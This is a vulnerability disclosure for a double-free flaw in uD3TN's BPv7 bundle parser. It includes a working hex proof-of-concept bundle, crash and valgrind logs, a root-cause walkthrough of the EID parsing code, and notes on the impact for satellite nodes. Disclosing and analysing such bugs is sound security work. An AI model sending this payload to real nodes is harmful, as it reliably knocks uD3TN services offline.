Double-Free Vulnerability in uD3TN BPv7 Caused by Malformed Endpoint Identifier

Introduction

A double-free vulnerability (CWE-415) exists in the uD3TN BPv7 implementation when handling a malformed Endpoint Identifier (EID) in a bundle. This bug can lead to a denial of service (DoS) by causing the service to abort unexpectedly when processing certain malformed payloads.

Bug in Detail

The issue was discovered during fuzzing of the BPv7 implementation using the ud3tndecode binary provided in the uD3TN repository. A specific malformed BPv7 bundle with an invalid EID causes a double-free error, leading to a crash.

This payload was tested on both v0.14.1 as well as v0.13.0 "Maxwell". Triggering the same behaviour in both versions.

Example Payload

The following payload triggers the vulnerability:

9f880700008201742f2f9071732d73413c3c3c3c3c3c3c3c3c3c3c3c3c3c3c3c2f2f75647374

When sending the above payload to a running uD3TN node, the node crashes following an abort initiated by glibc tcache memory protection:

[Tue Nov 12 15:19:31 2024] [INFO] INIT: uD3TN starting up... [components/ud3tn/init.c:37]
[Tue Nov 12 15:19:31 2024] [INFO] INIT: Configured to use EID "dtn://ud3tn.dtn/" and BPv7 [components/ud3tn/init.c:52]
[Tue Nov 12 15:19:31 2024] [INFO] AppAgent: Listening on ./ud3tn.socket [components/agents/posix/application_agent.c:617]
[Tue Nov 12 15:19:31 2024] [INFO] AAP2Agent: Listening on ./ud3tn.aap2.socket [components/aap2/aap2_agent.c:960]
[Tue Nov 12 15:19:31 2024] [INFO] BundleProcessor: BPA initialized for "dtn://ud3tn.dtn/", status reports disabled [components/ud3tn/bundle_processor.c:285]
[Tue Nov 12 15:19:31 2024] [INFO] AgentManager: Agent registered for sink "echo" [components/ud3tn/agent_manager.c:76]
[Tue Nov 12 15:19:31 2024] [INFO] AgentManager: Agent registered for sink "config" [components/ud3tn/agent_manager.c:76]
[Tue Nov 12 15:19:31 2024] [INFO] TCP: CLA tcpclv3 is now listening on [*]:4556 [components/cla/posix/cla_tcp_common.c:175]
[Tue Nov 12 15:19:31 2024] [INFO] CLA: Activated CLA "tcpclv3". [components/cla/cla.c:105]
[Tue Nov 12 15:19:31 2024] [INFO] tcpspp: Using CRC16-CCITT-FALSE. [components/cla/posix/cla_tcpspp.c:470]
[Tue Nov 12 15:19:31 2024] [INFO] CLA: Activated CLA "tcpspp". [components/cla/cla.c:105]
[Tue Nov 12 15:19:31 2024] [INFO] tcpspp: Active for APID 1, using passive mode [components/cla/posix/cla_tcpspp.c:73]
[Tue Nov 12 15:19:31 2024] [INFO] CLA: Activated CLA "smtcp". [components/cla/cla.c:105]
[Tue Nov 12 15:19:31 2024] [INFO] smtcp: Using passive mode [components/cla/posix/cla_smtcp.c:33]
[Tue Nov 12 15:19:31 2024] [INFO] TCP: CLA mtcp is now listening on [*]:4224 [components/cla/posix/cla_tcp_common.c:175]
[Tue Nov 12 15:19:31 2024] [INFO] CLA: Activated CLA "mtcp". [components/cla/cla.c:105]
[Tue Nov 12 15:19:31 2024] [INFO] TCP: CLA tcpspp is now listening on [*]:4223 [components/cla/posix/cla_tcp_common.c:175]
[Tue Nov 12 15:19:31 2024] [INFO] TCP: CLA smtcp is now listening on [*]:4222 [components/cla/posix/cla_tcp_common.c:175]
[Tue Nov 12 15:20:36 2024] [INFO] TCP: Connection accepted from 127.0.0.1:53328 (via CLA mtcp)! [components/cla/posix/cla_tcp_common.c:220]
[Tue Nov 12 15:20:36 2024] [WARNING] RX: Parser failed, reset. [components/cla/cla_contact_rx_task.c:163]
free(): double free detected in tcache 2
make: *** [Makefile:21: run-posix] Aborted (core dumped)

Using valgrind we observe that the double-free occurs as follows:

  • The payload EID is parsed in bundle7_eid_parse_cbor, where it hits the case for the ipn scheme but encounters an unexpected format that returns an error from eid_parse_ipn.
  • In response, bundle7_eid_parse_cbor prematurely frees the eid pointer, which is the same memory address stored in bundle->destination.
  • Later, bundle_free_dynamic_parts tries to free bundle->destination, resulting in a double-free.

Valgrind output:

...
[Mon Nov 11 17:09:19 2024] [WARNING] RX: Parser failed, reset. [components/cla/cla_contact_rx_task.c:145]
Parser error reported, aborting.
Failed parsing file as BPv7 bundle.
==1427237== Invalid free() / delete / delete[] / realloc()
==1427237==    at 0x484988F: free (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==1427237==    by 0x120AC8: bundle_free_dynamic_parts (components/ud3tn/bundle.c:67)
==1427237==    by 0x120D94: bundle_free (components/ud3tn/bundle.c:86)
==1427237==    by 0x1157D8: bundle7_parser_deinit (components/bundle7/parser.c:712)
==1427237==    by 0x10CE79: parse_bpv7 (test/decoder/main.c:270)
==1427237==    by 0x10CBCF: main (test/decoder/main.c:530)
==1427237==  Address 0x4cdb5e0 is 0 bytes inside a block of size 26 free'd
==1427237==    at 0x484988F: free (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==1427237==    by 0x14F550: bundle7_eid_parse_cbor (components/bundle7/eid.c:93)
==1427237==    by 0x115139: parse_eid (components/bundle7/parser.c:199)
==1427237==    by 0x1169FF: destination_eid (components/bundle7/parser.c:211)
==1427237==    by 0x115C8A: bundle7_parser_read (components/bundle7/parser.c:816)
==1427237==    by 0x10E080: invoke_bpv7_parser (test/decoder/main.c:248)
==1427237==    by 0x10E5AF: fwd_to_parser (test/decoder/main.c:56)
==1427237==    by 0x11A1EF: buffer_read (components/cla/cla_contact_rx_task.c:133)
==1427237==    by 0x11A7EB: rx_chunk_read (components/cla/cla_contact_rx_task.c:387)
==1427237==    by 0x10DBC5: parse_until_done (test/decoder/main.c:131)
==1427237==    by 0x10CE12: parse_bpv7 (test/decoder/main.c:261)
==1427237==    by 0x10CBCF: main (test/decoder/main.c:530)
==1427237==  Block was alloc'd at
==1427237==    at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==1427237==    by 0x150117: eid_parse_ipn (components/bundle7/eid.c:228)
==1427237==    by 0x14F407: bundle7_eid_parse_cbor (components/bundle7/eid.c:77)
==1427237==    by 0x115139: parse_eid (components/bundle7/parser.c:199)
==1427237==    by 0x1169FF: destination_eid (components/bundle7/parser.c:211)
==1427237==    by 0x115C8A: bundle7_parser_read (components/bundle7/parser.c:816)
==1427237==    by 0x10E080: invoke_bpv7_parser (test/decoder/main.c:248)
==1427237==    by 0x10E5AF: fwd_to_parser (test/decoder/main.c:56)
==1427237==    by 0x11A1EF: buffer_read (components/cla/cla_contact_rx_task.c:133)
==1427237==    by 0x11A7EB: rx_chunk_read (components/cla/cla_contact_rx_task.c:387)
==1427237==    by 0x10DBC5: parse_until_done (test/decoder/main.c:131)
==1427237==    by 0x10CE12: parse_bpv7 (test/decoder/main.c:261)
...

Impact

In our setup, glibc detected the double-free and caused the software to abort, resulting in a denial of service (DoS) for the uD3TN service. This allows an attacker to leverage the double-free vulnerability to reliably cause a DoS on an instance of uD3TN using glibc. Given that BPv7 is targeted for deployment in delay-tolerant networks, it is possible that nodes running uD3TN’s BPv7 implementation may be resource-constrained devices, such as satellites. These devices might use more lightweight C standard libraries, such as uClibc or newlib, which may lack some memory protections like the tcache protection in glibc that detected and aborted this double-free. Without such protections, double-free errors may go undetected, potentially opening the door to more severe exploitation.

Edited by Stephan Havermans